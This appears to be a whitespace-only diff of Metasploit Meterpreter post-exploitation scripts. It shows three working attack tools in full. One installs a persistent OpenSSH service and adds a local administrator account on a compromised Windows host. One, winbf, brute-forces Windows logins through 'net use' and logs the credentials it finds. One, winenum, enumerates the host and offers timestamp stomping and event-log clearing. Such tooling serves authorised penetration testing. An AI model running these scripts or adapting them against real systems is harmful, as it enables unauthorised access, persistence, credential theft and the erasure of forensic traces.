client.sys.registry.open_key(root_key, base_key) - valdata = hkey.query_value(value) - return valdata.data + root_key, base_key = client.sys.registry.splitkey(key) + hkey = client.sys.registry.open_key(root_key, base_key) + valdata = hkey.query_value(value) + return valdata.data end # Wrong Meterpreter Version Message Function #------------------------------------------------------------------------------- def wrong_meter_version(meter = meter_type) - print_error("#{meter} version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("#{meter} version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end # @@ -90,85 +90,85 @@ type = "auto" # Option parsing # @@exec_opts.parse(args) { |opt, idx, val| - case opt + case opt - when "-h" - usage + when "-h" + usage - when "-f" - if !val - print_error("-f requires the SFX-filename as argument !") - usage - end - extractfilename = val - if not ::File.exists?(extractfilename) - print_error("OpenSSH-SFX not found/accessible!") - usage - end - manual = true + when "-f" + if !val + print_error("-f requires the SFX-filename as argument !") + usage + end + extractfilename = val + if not ::File.exists?(extractfilename) + print_error("OpenSSH-SFX not found/accessible!") + usage + end + manual = true - when "-U" - if !val - print_error("-U requires the download-URL for the OpenSSH-SFX as argument !") - usage - end - downloadurl = val + when "-U" + if !val + print_error("-U requires the download-URL for the OpenSSH-SFX as argument !") + usage + end + downloadurl = val - when "-p" - if !val - print_error("-p requires the password (for the windows-user to add) as argument !") - usage - end - if val.length > 14 - print_error("Password must not be longer than 14chars due to \"net user .. /ADD\" restrictions, sorry !") - usage - end - password = val + when "-p" + if !val + print_error("-p requires the password (for the windows-user to add) as argument !") + usage + end + if val.length > 14 + print_error("Password must not be longer than 14chars due to \"net user .. /ADD\" restrictions, sorry !") + usage + end + password = val - when "-u" - if !val - print_error("-u requires the username (for the windows-user to add) as argument!") - usage - end - username = val + when "-u" + if !val + print_error("-u requires the username (for the windows-user to add) as argument!") + usage + end + username = val - when "-r" - uninstall = true + when "-r" + uninstall = true - when "-I" - if !val - print_error("-I requires a directory-name to use as installpath") - usage - end - dirname = val + when "-I" + if !val + print_error("-I requires a directory-name to use as installpath") + usage + end + dirname = val - when "-F" - forced = true + when "-F" + forced = true - when "-S" - if !val - print_error("-S requires s custom string to use as the service-description") - usage - end - servicedesc = val + when "-S" + if !val + print_error("-S requires s custom string to use as the service-description") + usage + end + servicedesc = val - when "-N" - if !val - print_error("-N requires a custom string to use as service-name") - usage - end - servicename = val + when "-N" + if !val + print_error("-N requires a custom string to use as service-name") + usage + end + servicename = val - when "-m" - noauto = true + when "-m" + noauto = true - when "-t" - type = manual + when "-t" + type = manual - else - print_error("Unknown option: #{opt}") - usage - end + else + print_error("Unknown option: #{opt}") + usage + end } # Check for Version of Meterpreter @@ -178,45 +178,45 @@ wrong_meter_version(meter_type) if meter_type !~ /win32|win64/i # Uninstall if selected # if uninstall - username = nil - servicename = nil - begin - dirname = queryval("HKLM\\Software\\Cygnus\ Solutions\\Cygwin\\mounts\ v2\\/", "native") - rescue - print_status("Could not find any sshd installed by this script. Please remove manually!") - deletekey("HKLM\\Software\\Cygnus\ Solutions") - raise Rex::Script::Completed - end - uninstallfile = "#{dirname}\\etc\\uninst.bak" - uf = client.fs.file.new(uninstallfile, "rb") - while not uf.eof? - linesarray = uf.read.split("\r\n") - username = linesarray[0] - servicename = linesarray[1] - end - uf.close - # stop sshd-service, delete it, delete user + files afterwards - print_status("Stopping the #{servicename}-service....") - client.sys.process.execute("cmd.exe", "/c sc stop #{servicename}") - sleep 2 - print_status("#{servicename} has been stopped.") - print_status("Deleting the #{servicename}-service....") - client.sys.process.execute("cmd.exe", "/c sc delete #{servicename}") - sleep 1 - print_status("#{servicename} has been deleted.") - unless username.strip == "none" - print_status("Deleting user #{username}......") - client.sys.process.execute("cmd.exe", "/c net user #{username} /DELETE") - print_status("User #{username} has been deleted") - end - print_status("Deleting the directory #{dirname}....") - client.sys.process.execute("cmd.exe", "/c rmdir /S /Q #{dirname}") - print_status("#{dirname} has been deleted.") - print_status("Deleting regkeys ....") - deletekey("HKLM\\Software\\Cygnus\ Solutions") - print_status("Registry-keys have been deleted .") - print_status("Uninstall completed!") - raise Rex::Script::Completed + username = nil + servicename = nil + begin + dirname = queryval("HKLM\\Software\\Cygnus\ Solutions\\Cygwin\\mounts\ v2\\/", "native") + rescue + print_status("Could not find any sshd installed by this script. Please remove manually!") + deletekey("HKLM\\Software\\Cygnus\ Solutions") + raise Rex::Script::Completed + end + uninstallfile = "#{dirname}\\etc\\uninst.bak" + uf = client.fs.file.new(uninstallfile, "rb") + while not uf.eof? + linesarray = uf.read.split("\r\n") + username = linesarray[0] + servicename = linesarray[1] + end + uf.close + # stop sshd-service, delete it, delete user + files afterwards + print_status("Stopping the #{servicename}-service....") + client.sys.process.execute("cmd.exe", "/c sc stop #{servicename}") + sleep 2 + print_status("#{servicename} has been stopped.") + print_status("Deleting the #{servicename}-service....") + client.sys.process.execute("cmd.exe", "/c sc delete #{servicename}") + sleep 1 + print_status("#{servicename} has been deleted.") + unless username.strip == "none" + print_status("Deleting user #{username}......") + client.sys.process.execute("cmd.exe", "/c net user #{username} /DELETE") + print_status("User #{username} has been deleted") + end + print_status("Deleting the directory #{dirname}....") + client.sys.process.execute("cmd.exe", "/c rmdir /S /Q #{dirname}") + print_status("#{dirname} has been deleted.") + print_status("Deleting regkeys ....") + deletekey("HKLM\\Software\\Cygnus\ Solutions") + print_status("Registry-keys have been deleted .") + print_status("Uninstall completed!") + raise Rex::Script::Completed end # @@ -226,10 +226,10 @@ root_key, base_key = client.sys.registry.splitkey("HKLM\\Software\\Cygnus\ Solut open_key = client.sys.registry.open_key(root_key, base_key) keys = open_key.enum_key if ( keys.length > 0) - if not forced - print_error(warning) - raise Rex::Script::Completed - end + if not forced + print_error(warning) + raise Rex::Script::Completed + end end # @@ -237,28 +237,28 @@ end # if manual == false - if not ::File.exists?(extractfilename) - print_status("openssh-extract.sfx could not be found. Downloading it now...") - print_status(license) - extractexe = Net::HTTP.get URI.parse(downloadurl) - open(extractfilename, "wb") { |fd| fd.write(extractexe) } - print_status("openssh-extract.sfx has been downloaded to #{extractfilename} (local machine). Please remove manually after use or keep for reuse.") - downloaded = true - end + if not ::File.exists?(extractfilename) + print_status("openssh-extract.sfx could not be found. Downloading it now...") + print_status(license) + extractexe = Net::HTTP.get URI.parse(downloadurl) + open(extractfilename, "wb") { |fd| fd.write(extractexe) } + print_status("openssh-extract.sfx has been downloaded to #{extractfilename} (local machine). Please remove manually after use or keep for reuse.") + downloaded = true + end end # # Generate sshd-dir + upload file to client # if dirname == nil - dirname = client.fs.file.expand_path("%TEMP%") + '\\' + "#{rand(36 ** 8).to_s(36).rjust(8,"0")}" - print_status("Creating directory #{dirname}.....") - client.fs.dir.mkdir(dirname) + dirname = client.fs.file.expand_path("%TEMP%") + '\\' + "#{rand(36 ** 8).to_s(36).rjust(8,"0")}" + print_status("Creating directory #{dirname}.....") + client.fs.dir.mkdir(dirname) else - if !::File.exists?(dirname) && !::File.directory?(dirname) - print_status("Creating directory #{dirname}.....") - client.fs.dir.mkdir(dirname) - end + if !::File.exists?(dirname) && !::File.directory?(dirname) + print_status("Creating directory #{dirname}.....") + client.fs.dir.mkdir(dirname) + end end fileontrgt = "#{dirname}\\#{rand(36 ** 8).to_s(36).rjust(8,"0")}.exe" print_status("Uploading #{extractfilename} to #{fileontrgt}....") @@ -273,21 +273,21 @@ client.sys.process.execute("cmd.exe", "/c set > #{envtxtname}") fd = client.fs.file.new(envtxtname, "rb") while not fd.eof? - linesarray = fd.read.split("\r\n") - linesarray.each { |line| - currentline = line.split('=') - envvarname = currentline[0] - envvarvalue = currentline[1] - clientenv[envvarname] = envvarvalue - } + linesarray = fd.read.split("\r\n") + linesarray.each { |line| + currentline = line.split('=') + envvarname = currentline[0] + envvarvalue = currentline[1] + clientenv[envvarname] = envvarvalue + } end fd.close # Do not continue if client-os is not valid unless clientenv["OS"] == 'Windows_NT' - print_error("This script will run on Windows-NT based OS only!") - raise Rex::Script::Completed + print_error("This script will run on Windows-NT based OS only!") + raise Rex::Script::Completed end @@ -324,31 +324,31 @@ client.sys.process.execute("cacls.exe", "#{dirname} /E /T /G SYSTEM:F") # Add windows-user if requested # unless username == "none" - if password == nil - print_error("You need to provide a nonempty password for the user with the \"-p\"-parameter!") - usage - end + if password == nil + print_error("You need to provide a nonempty password for the user with the \"-p\"-parameter!") + usage + end - #Get localized name for windows-admin-grp - admingrpname = nil - client.sys.process.execute("cmd.exe", "/c #{dirname}\\bin\\mkgroup.exe -l > #{dirname}\\groupnames.txt") - sleep 1 - fd = client.fs.file.new("#{dirname}\\groupnames.txt", "rb") - while not fd.eof? - linesarray = fd.read.split("\n") - linesarray.each { |line| - if line[0..4] =~ /[aA]dmin/ - admingrpname = line.slice!(/[aA]dmin[a-z]+/) - end - } - end - fd.close - sleep 2 - client.fs.file.rm("#{dirname}\\groupnames.txt") - print_line("Adding user #{username}....") - client.sys.process.execute("cmd.exe", "/c net user #{username} #{password} /ADD /HOMEDIR:#{dirname}") - print_line("Add user #{username} to #{admingrpname}") - client.sys.process.execute("cmd.exe", "/c net localgroup #{admingrpname} #{username} /ADD") + #Get localized name for windows-admin-grp + admingrpname = nil + client.sys.process.execute("cmd.exe", "/c #{dirname}\\bin\\mkgroup.exe -l > #{dirname}\\groupnames.txt") + sleep 1 + fd = client.fs.file.new("#{dirname}\\groupnames.txt", "rb") + while not fd.eof? + linesarray = fd.read.split("\n") + linesarray.each { |line| + if line[0..4] =~ /[aA]dmin/ + admingrpname = line.slice!(/[aA]dmin[a-z]+/) + end + } + end + fd.close + sleep 2 + client.fs.file.rm("#{dirname}\\groupnames.txt") + print_line("Adding user #{username}....") + client.sys.process.execute("cmd.exe", "/c net user #{username} #{password} /ADD /HOMEDIR:#{dirname}") + print_line("Add user #{username} to #{admingrpname}") + client.sys.process.execute("cmd.exe", "/c net localgroup #{admingrpname} #{username} /ADD") end # @@ -373,9 +373,9 @@ client.sys.process.execute("cmd.exe", "/c #{dirname}\\bin\\ssh-keygen.exe -t rsa # print_status("Adding OpenSSHd-Service.......") if type == manual - client.sys.process.execute("cmd.exe", "/c #{dirname}\\bin\\cygrunsrv.exe --install #{servicename} --path /usr/sbin/sshd --args \"-D\" --dep \"Tcpip\" --stderr \"/var/log/opensshd.log\" --env \"CYGWIN=binmode ntsec tty\" --type manual --disp \"#{servicedesc}\"") + client.sys.process.execute("cmd.exe", "/c #{dirname}\\bin\\cygrunsrv.exe --install #{servicename} --path /usr/sbin/sshd --args \"-D\" --dep \"Tcpip\" --stderr \"/var/log/opensshd.log\" --env \"CYGWIN=binmode ntsec tty\" --type manual --disp \"#{servicedesc}\"") else - client.sys.process.execute("cmd.exe", "/c #{dirname}\\bin\\cygrunsrv.exe --install #{servicename} --path /usr/sbin/sshd --args \"-D\" --dep \"Tcpip\" --stderr \"/var/log/opensshd.log\" --env \"CYGWIN=binmode ntsec tty\" --disp \"#{servicedesc}\"") + client.sys.process.execute("cmd.exe", "/c #{dirname}\\bin\\cygrunsrv.exe --install #{servicename} --path /usr/sbin/sshd --args \"-D\" --dep \"Tcpip\" --stderr \"/var/log/opensshd.log\" --env \"CYGWIN=binmode ntsec tty\" --disp \"#{servicedesc}\"") end print_status("Service successfully installed!") sleep 2 @@ -392,10 +392,10 @@ uf.close # Run OpenSSH-service unless noauto was specified unless noauto - print_status("Starting OpenSSH-Service....") - client.sys.process.execute("cmd.exe", "/c net start #{servicename}") - sleep 1 - print_status("OpenSSHd has been started!") + print_status("Starting OpenSSH-Service....") + client.sys.process.execute("cmd.exe", "/c net start #{servicename}") + sleep 1 + print_status("OpenSSHd has been started!") end # Display OpenSSH-Hostkey, so that user may pass this to sshclient-script directly diff --git a/scripts/meterpreter/winbf.rb b/scripts/meterpreter/winbf.rb index abc351b7b7..ee4e925d62 100644 --- a/scripts/meterpreter/winbf.rb +++ b/scripts/meterpreter/winbf.rb @@ -2,12 +2,12 @@ #------------------------------------------------------------------------------- ################## Variable Declarations ################## @@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "\tHelp menu."], - "-t" => [ true, "\tTarget IP Address"], - "-p" => [ true, "\tPassword List"], - "-cp" => [ false, "\tCheck Local Machine Password Policy"], - "-L" => [ true, "\tUsername List to be brute forced"], - "-l" => [ true, "\tLogin name to be brute forced"] + "-h" => [ false, "\tHelp menu."], + "-t" => [ true, "\tTarget IP Address"], + "-p" => [ true, "\tPassword List"], + "-cp" => [ false, "\tCheck Local Machine Password Policy"], + "-L" => [ true, "\tUsername List to be brute forced"], + "-l" => [ true, "\tLogin name to be brute forced"] ) # Variables for Options user = [] @@ -26,122 +26,122 @@ session = client # This policy may resemble the policy of other servers in the #target enviroment. def chkpolicy(session) - print_status("Checking password policy...") - output = [] - begin - r = session.sys.process.execute("net accounts", nil, {'Hidden' => true, 'Channelized' => true}) - while(d = r.channel.read) - output << d - end - r.channel.close - r.close - # Parsing output of net accounts - lockout = output.to_s.scan(/Lockout\sthreshold:\s*(\d*)/) - minpass = output.to_s.scan(/Minimum\spassword\slength:\s*(\d*)/) - failcount = output.to_s.scan(/Lockout\sobservation\swindow\s\(minutes\)\:\s*(\d*)/) - lcktime = output.to_s.scan(/Lockout\sduration\s\(minutes\)\:\s*(\d*)/) - # check for account lockout - if lockout.empty? - print_status "\tNo account lockout threshold configured" - else - print_status "\tWARNING Lockout threshold configured, if #{lockout} attempts in #{failcount} minutes account will be locked" - print_status "\tThe account will be locked out for #{lcktime}" - end - # check for password lenght - if minpass.to_s == "0" - print_status "\tNo minimun password lenght is configured" - else - print_status "\tThe minumun password lengh configured is #{minpass}" - print_status "\tyour dictionary should start with passwords of #{minpass} length" - end - rescue ::Exception => e - print_status("The following Error was encountered: #{e.class} #{e}") - end + print_status("Checking password policy...") + output = [] + begin + r = session.sys.process.execute("net accounts", nil, {'Hidden' => true, 'Channelized' => true}) + while(d = r.channel.read) + output << d + end + r.channel.close + r.close + # Parsing output of net accounts + lockout = output.to_s.scan(/Lockout\sthreshold:\s*(\d*)/) + minpass = output.to_s.scan(/Minimum\spassword\slength:\s*(\d*)/) + failcount = output.to_s.scan(/Lockout\sobservation\swindow\s\(minutes\)\:\s*(\d*)/) + lcktime = output.to_s.scan(/Lockout\sduration\s\(minutes\)\:\s*(\d*)/) + # check for account lockout + if lockout.empty? + print_status "\tNo account lockout threshold configured" + else + print_status "\tWARNING Lockout threshold configured, if #{lockout} attempts in #{failcount} minutes account will be locked" + print_status "\tThe account will be locked out for #{lcktime}" + end + # check for password lenght + if minpass.to_s == "0" + print_status "\tNo minimun password lenght is configured" + else + print_status "\tThe minumun password lengh configured is #{minpass}" + print_status "\tyour dictionary should start with passwords of #{minpass} length" + end + rescue ::Exception => e + print_status("The following Error was encountered: #{e.class} #{e}") + end end #-------------------------------------------------------- # Function for brute forcing passwords using windows native tools def passbf(session,passlist,target,user,opt,logfile) - print_status("Running Brute force attack against #{user}") - print_status("Successfull Username and Password pairs are being saved in #{logfile}") - result = [] - output = [] - passfnd = 0 - a = [] - i = 0 - if opt == 1 - if not ::File.exists?(user) - raise "Usernames List File does not exists!" - else - user = ::File.open(user, "r") - end - end - # Go thru each user - user.each do |u| - # Go thru each line in the password file - while passfnd < 1 - ::File.open(passlist, "r").each_line do |line| - begin - print_status("Trying #{u.chomp} #{line.chomp}") + print_status("Running Brute force attack against #{user}") + print_status("Successfull Username and Password pairs are being saved in #{logfile}") + result = [] + output = [] + passfnd = 0 + a = [] + i = 0 + if opt == 1 + if not ::File.exists?(user) + raise "Usernames List File does not exists!" + else + user = ::File.open(user, "r") + end + end + # Go thru each user + user.each do |u| + # Go thru each line in the password file + while passfnd < 1 + ::File.open(passlist, "r").each_line do |line| + begin + print_status("Trying #{u.chomp} #{line.chomp}") - # Command for testing local login credentials - r = session.sys.process.execute("cmd /c net use \\\\#{target} #{line.chomp} /u:#{u.chomp}", nil, {'Hidden' => true, 'Channelized' => true}) - while(d = r.channel.read) - output << d - end - r.channel.close - r.close + # Command for testing local login credentials + r = session.sys.process.execute("cmd /c net use \\\\#{target} #{line.chomp} /u:#{u.chomp}", nil, {'Hidden' => true, 'Channelized' => true}) + while(d = r.channel.read) + output << d + end + r.channel.close + r.close - # Checks if password is found - result = output.to_s.scan(/The\scommand\scompleted\ssuccessfully/) - if result.length == 1 - print_status("\tUser: #{u.chomp} pass: #{line.chomp} found") - file_local_write(logfile,"User: #{u.chomp} pass: #{line.chomp}") - r = session.sys.process.execute("cmd /c net use \\\\#{target} /delete", nil, {'Hidden' => true, 'Channelized' => true}) - while(d = r.channel.read) - output << d - end - output.clear - r.channel.close - r.close - passfnd = 1 - break - end - rescue ::Exception => e - print_status("The following Error was encountered: #{e.class} #{e}") - end + # Checks if password is found + result = output.to_s.scan(/The\scommand\scompleted\ssuccessfully/) + if result.length == 1 + print_status("\tUser: #{u.chomp} pass: #{line.chomp} found") + file_local_write(logfile,"User: #{u.chomp} pass: #{line.chomp}") + r = session.sys.process.execute("cmd /c net use \\\\#{target} /delete", nil, {'Hidden' => true, 'Channelized' => true}) + while(d = r.channel.read) + output << d + end + output.clear + r.channel.close + r.close + passfnd = 1 + break + end + rescue ::Exception => e + print_status("The following Error was encountered: #{e.class} #{e}") + end - end - passfnd = 1 - end - passfnd = 0 - end + end + passfnd = 1 + end + passfnd = 0 + end end #-------------------------------------------------------- # Function for creating log file def logme(target) - # Create Filename info to be appended to files - filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S") + # Create Filename info to be appended to files + filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S") - # Create a directory for the logs - logs = ::File.join(Msf::Config.log_directory,'scripts', 'winbf') + # Create a directory for the logs + logs = ::File.join(Msf::Config.log_directory,'scripts', 'winbf') - # Create the log directory - ::FileUtils.mkdir_p(logs) + # Create the log directory + ::FileUtils.mkdir_p(logs) - #logfile name - dest = logs + "/" + target + filenameinfo + #logfile name + dest = logs + "/" + target + filenameinfo - dest + dest end #-------------------------------------------------------- # ##check for proper Meterpreter Platform def unsupported - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end unsupported if client.platform !~ /win32|win64/i @@ -149,47 +149,47 @@ unsupported if client.platform !~ /win32|win64/i # Parsing of Options @@exec_opts.parse(args) { |opt, idx, val| - case opt - when "-l" - user << val - ulopt = 0 - when "-L" - userlist = val - ulopt = 1 + case opt + when "-l" + user << val + ulopt = 0 + when "-L" + userlist = val + ulopt = 1 - when "-cp" - chkpolicy(session) - exit - when "-p" + when "-cp" + chkpolicy(session) + exit + when "-p" - passlist = val - if not ::File.exists?(passlist) - raise "Password File does not exists!" - end - when "-t" - target = val - when "-h" - print("Windows Login Brute Force Meterpreter Script\n" + - "Usage:\n" + - @@exec_opts.usage) - helpcall = 1 - end + passlist = val + if not ::File.exists?(passlist) + raise "Password File does not exists!" + end + when "-t" + target = val + when "-h" + print("Windows Login Brute Force Meterpreter Script\n" + + "Usage:\n" + + @@exec_opts.usage) + helpcall = 1 + end } # Execution of options selected if user.length > 0 && passlist != nil && target != nil - passbf(session,passlist,target,user,ulopt,logme(target)) + passbf(session,passlist,target,user,ulopt,logme(target)) elsif userlist != nil && passlist != nil && target != nil - passbf(session,passlist,target,userlist,ulopt,logme(target)) + passbf(session,passlist,target,userlist,ulopt,logme(target)) elsif helpcall == 0 - print("Windows Login Brute Force Meterpreter Script\n" + - "Usage:\n" + - @@exec_opts.usage) + print("Windows Login Brute Force Meterpreter Script\n" + + "Usage:\n" + + @@exec_opts.usage) end diff --git a/scripts/meterpreter/winenum.rb b/scripts/meterpreter/winenum.rb index 61a235ae23..f494c5076e 100644 --- a/scripts/meterpreter/winenum.rb +++ b/scripts/meterpreter/winenum.rb @@ -3,33 +3,33 @@ ################## Variable Declarations ################## @client = client opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ], - "-m" => [ false, "Migrate the Meterpreter Session from it current process to a new cmd.exe before doing anything" ], - "-r" => [ false, "Dump, compress and download entire Registry" ], - "-c" => [ false, "Change Access, Modified and Created times of executables that were run on the target machine and clear the EventLog" ] + "-h" => [ false, "Help menu." ], + "-m" => [ false, "Migrate the Meterpreter Session from it current process to a new cmd.exe before doing anything" ], + "-r" => [ false, "Dump, compress and download entire Registry" ], + "-c" => [ false, "Change Access, Modified and Created times of executables that were run on the target machine and clear the EventLog" ] ) rd = nil mg = nil cm = nil opts.parse(args) { |opt, idx, val| - case opt - when '-r' - rd = 1 - when '-m' - mg = 1 - when '-c' - cm = 1 - when "-h" - print_line "WinEnum -- Windows local enumeration" - print_line - print_line "Retrieves all kinds of information about the system" - print_line "including environment variables, network interfaces," - print_line "routing, user accounts, and much more. Results are" - print_line "stored in #{::File.join(Msf::Config.log_directory,'scripts', 'winenum')}" - print_line(opts.usage) - raise Rex::Script::Completed - end + case opt + when '-r' + rd = 1 + when '-m' + mg = 1 + when '-c' + cm = 1 + when "-h" + print_line "WinEnum -- Windows local enumeration" + print_line + print_line "Retrieves all kinds of information about the system" + print_line "including environment variables, network interfaces," + print_line "routing, user accounts, and much more. Results are" + print_line "stored in #{::File.join(Msf::Config.log_directory,'scripts', 'winenum')}" + print_line(opts.usage) + raise Rex::Script::Completed + end } #------------------------------------------------------------------------------- @@ -50,436 +50,436 @@ logs = ::File.join(Msf::Config.log_directory,'scripts', 'winenum',Rex::FileUtils # Commands that will be ran on the Target commands = [ - 'cmd.exe /c set', - 'arp -a', - 'ipconfig /all', - 'ipconfig /displaydns', - 'route print', - 'net view', - 'netstat -nao', - 'netstat -vb', - 'netstat -ns', - 'net accounts', - 'net accounts /domain', - 'net session', - 'net share', - 'net group', - 'net user', - 'net localgroup', - 'net localgroup administrators', - 'net group administrators', - 'net view /domain', - 'netsh firewall show config', - 'tasklist /svc', - 'tasklist /m', - 'gpresult /SCOPE COMPUTER /Z', - 'gpresult /SCOPE USER /Z' + 'cmd.exe /c set', + 'arp -a', + 'ipconfig /all', + 'ipconfig /displaydns', + 'route print', + 'net view', + 'netstat -nao', + 'netstat -vb', + 'netstat -ns', + 'net accounts', + 'net accounts /domain', + 'net session', + 'net share', + 'net group', + 'net user', + 'net localgroup', + 'net localgroup administrators', + 'net group administrators', + 'net view /domain', + 'netsh firewall show config', + 'tasklist /svc', + 'tasklist /m', + 'gpresult /SCOPE COMPUTER /Z', + 'gpresult /SCOPE USER /Z' ] # Windows 2008 Commands win2k8cmd = [ - 'servermanagercmd.exe -q', - 'cscript /nologo winrm get winrm/config', + 'servermanagercmd.exe -q', + 'cscript /nologo winrm get winrm/config', ] # Commands that MACE will be changed cmdstomp = [ - 'cmd.exe', - 'reg.exe', - 'ipconfig.exe', - 'route.exe', - 'net.exe', - 'netstat.exe', - 'netsh.exe', - 'makecab.exe', - 'tasklist.exe', - 'wbem\\wmic.exe', - 'gpresult.exe' + 'cmd.exe', + 'reg.exe', + 'ipconfig.exe', + 'route.exe', + 'net.exe', + 'netstat.exe', + 'netsh.exe', + 'makecab.exe', + 'tasklist.exe', + 'wbem\\wmic.exe', + 'gpresult.exe' ] # WMIC Commands that will be executed on the Target wmic = [ - 'useraccount list', - 'group list', - 'service list brief', - 'volume list brief', - 'logicaldisk get description,filesystem,name,size', - 'netlogin get name,lastlogon,badpasswordcount', - 'netclient list brief', - 'netuse get name,username,connectiontype,localname', - 'share get name,path', - 'nteventlog get path,filename,writeable', - 'process list brief', - 'startup list full', - 'rdtoggle list', - 'product get name,version', - 'qfe', + 'useraccount list', + 'group list', + 'service list brief', + 'volume list brief', + 'logicaldisk get description,filesystem,name,size', + 'netlogin get name,lastlogon,badpasswordcount', + 'netclient list brief', + 'netuse get name,username,connectiontype,localname', + 'share get name,path', + 'nteventlog get path,filename,writeable', + 'process list brief', + 'startup list full', + 'rdtoggle list', + 'product get name,version', + 'qfe', ] #Specific Commands for Windows vista for Wireless Enumeration vstwlancmd = [ - 'netsh wlan show interfaces', - 'netsh wlan show drivers', - 'netsh wlan show profiles', - 'netsh wlan show networks mode=bssid', + 'netsh wlan show interfaces', + 'netsh wlan show drivers', + 'netsh wlan show profiles', + 'netsh wlan show networks mode=bssid', ] # Commands that are not present in Windows 2000 nonwin2kcmd = [ - 'netsh firewall show config', - 'tasklist /svc', - 'gpresult /SCOPE COMPUTER /Z', - 'gpresult /SCOPE USER /Z', - 'prnport -l', - 'prnmngr -g', - 'tasklist.exe', - 'wbem\\wmic.exe', - 'netsh.exe', + 'netsh firewall show config', + 'tasklist /svc', + 'gpresult /SCOPE COMPUTER /Z', + 'gpresult /SCOPE USER /Z', + 'prnport -l', + 'prnmngr -g', + 'tasklist.exe', + 'wbem\\wmic.exe', + 'netsh.exe', ] # Executables not pressent in Windows 2000 nowin2kexe = [ - 'netsh.exe', - 'gpresult.exe', - 'tasklist.exe', - 'wbem\\wmic.exe', + 'netsh.exe', + 'gpresult.exe', + 'tasklist.exe', + 'wbem\\wmic.exe', ] ################## Function Declarations ################## def findprogs() - print_status("Extracting software list from registry") - proglist = "" - threadnum = 0 - a = [] - appkeys = ['HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall', - 'HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall' ] - appkeys.each do |keyx86| - soft_keys = registry_enumkeys(keyx86) - if soft_keys - soft_keys.each do |k| - if threadnum < 10 - a.push(::Thread.new { - begin - dispnm = registry_getvaldata("#{keyx86}\\#{k}","DisplayName") - dispversion = registry_getvaldata("#{keyx86}\\#{k}","DisplayVersion") - proglist << "#{dispnm},#{dispversion}" - rescue - end - }) - threadnum += 1 - else - sleep(0.05) and a.delete_if {|x| not x.alive?} while not a.empty? - threadnum = 0 - end - end - end - end + print_status("Extracting software list from registry") + proglist = "" + threadnum = 0 + a = [] + appkeys = ['HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall', + 'HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall' ] + appkeys.each do |keyx86| + soft_keys = registry_enumkeys(keyx86) + if soft_keys + soft_keys.each do |k| + if threadnum < 10 + a.push(::Thread.new { + begin + dispnm = registry_getvaldata("#{keyx86}\\#{k}","DisplayName") + dispversion = registry_getvaldata("#{keyx86}\\#{k}","DisplayVersion") + proglist << "#{dispnm},#{dispversion}" + rescue + end + }) + threadnum += 1 + else + sleep(0.05) and a.delete_if {|x| not x.alive?} while not a.empty? + threadnum = 0 + end + end + end + end - file_local_write("#{@logfol}/programs_list.csv",proglist) + file_local_write("#{@logfol}/programs_list.csv",proglist) end # Function to check if Target Machine a VM # Note: will add soon Hyper-v and Citrix Xen check. def chkvm() - check = nil - vmout = '' - info = @client.sys.config.sysinfo - print_status "Checking if #{info['Computer']} is a Virtual Machine ........" + check = nil + vmout = '' + info = @client.sys.config.sysinfo + print_status "Checking if #{info['Computer']} is a Virtual Machine ........" - # Check for Target Machines if running in VM, only fo VMware Workstation/Fusion - begin - key = 'HKLM\\HARDWARE\\DESCRIPTION\\System\\BIOS' - root_key, base_key = @client.sys.registry.splitkey(key) - open_key = @client.sys.registry.open_key(root_key,base_key,KEY_READ) - v = open_key.query_value('SystemManufacturer') - sysmnfg = v.data.downcase - if sysmnfg =~ /vmware/ - print_status "\tThis is a VMware Workstation/Fusion Virtual Machine" - vmout << "This is a VMware Workstation/Fusion Virtual Machine\n\n" - check = 1 - elsif sysmnfg =~ /xen/ - print_status("\tThis is a Xen Virtual Machine.") - check = 1 - end - rescue + # Check for Target Machines if running in VM, only fo VMware Workstation/Fusion + begin + key = 'HKLM\\HARDWARE\\DESCRIPTION\\System\\BIOS' + root_key, base_key = @client.sys.registry.splitkey(key) + open_key = @client.sys.registry.open_key(root_key,base_key,KEY_READ) + v = open_key.query_value('SystemManufacturer') + sysmnfg = v.data.downcase + if sysmnfg =~ /vmware/ + print_status "\tThis is a VMware Workstation/Fusion Virtual Machine" + vmout << "This is a VMware Workstation/Fusion Virtual Machine\n\n" + check = 1 + elsif sysmnfg =~ /xen/ + print_status("\tThis is a Xen Virtual Machine.") + check = 1 + end + rescue - end - if check != 1 - begin - #Registry path using the HD and CD rom entries in the registry in case propirtary tools are - #not installed. - key2 = "HKLM\\HARDWARE\\DEVICEMAP\\Scsi\\Scsi Port 0\\Scsi Bus 0\\Target Id 0\\Logical Unit Id 0" - root_key2, base_key2 = @client.sys.registry.splitkey(key2) - open_key2 = @client.sys.registry.open_key(root_key2,base_key2,KEY_READ) - v2 = open_key2.query_value('Identifier') + end + if check != 1 + begin + #Registry path using the HD and CD rom entries in the registry in case propirtary tools are + #not installed. + key2 = "HKLM\\HARDWARE\\DEVICEMAP\\Scsi\\Scsi Port 0\\Scsi Bus 0\\Target Id 0\\Logical Unit Id 0" + root_key2, base_key2 = @client.sys.registry.splitkey(key2) + open_key2 = @client.sys.registry.open_key(root_key2,base_key2,KEY_READ) + v2 = open_key2.query_value('Identifier') - if v2.data.downcase =~ /vmware/ - print_status "\tThis is a VMWare virtual Machine" - vmout << "This is a VMWare virtual Machine\n\n" - elsif v2.data =~ /vbox/ - print_status "\tThis is a Sun VirtualBox virtual Machine" - vmout << "This is a Sun VirtualBox virtual Machine\n\n" - elsif v2.data.downcase =~ /xen/ - print_status "\tThis is a Xen virtual Machine" - vmout << "This is a Xen virtual Machine\n\n" - elsif v2.data.downcase =~ /virtual hd/ - print_status "\tThis is a Hyper-V/Virtual Server virtual Machine" - vmout << "This is a Hyper-v/Virtual Server virtual Machine\n\n" - end - rescue::Exception => e - end - end - vmout + if v2.data.downcase =~ /vmware/ + print_status "\tThis is a VMWare virtual Machine" + vmout << "This is a VMWare virtual Machine\n\n" + elsif v2.data =~ /vbox/ + print_status "\tThis is a Sun VirtualBox virtual 